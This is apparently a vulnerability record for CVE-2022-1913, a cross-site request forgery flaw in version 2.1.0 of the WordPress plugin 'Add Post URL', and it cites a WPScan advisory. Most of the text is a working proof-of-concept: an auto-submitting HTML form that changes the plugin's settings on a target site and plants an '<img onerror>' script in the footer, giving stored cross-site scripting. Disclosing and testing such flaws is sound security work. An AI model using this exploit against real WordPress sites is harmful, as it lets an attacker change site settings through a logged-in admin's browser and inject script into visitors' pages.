CVE: CVE-2022-1913

Name: Add Post URL (wp-posturl)

Version: 2.1.0

Date: 2022-04-24 15:45:19

Advisory: https://wpscan.com/vulnerability/2cafef43-e64a-4897-8c41-f0ed473d7ead

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/options-general.php?page=wp-posturl/posturl-options.php" method="POST">
    <input type="text" name="add_url_by_default" value="true">
    <input type="text" name="header_text" value="">
    <input type="text" name="footer_text" value="<img src=x onerror=alert(1)>">
    <input type="text" name="add_to_home" value="true">
    <input type="text" name="add_to_page" value="true">
    <input type="text" name="add_to_category" value="true">
    <input type="text" name="add_to_tag" value="true">
    <input type="text" name="add_to_archive" value="true">
    <input type="text" name="add_to_single" value="true">
    <input type="text" name="add_to_feed" value="true">
    <input type="text" name="add_credit" value="true">
    <input type="text" name="Submit" value="Save Changes">
</form>
<script>
    document.forms[0].submit();
</script>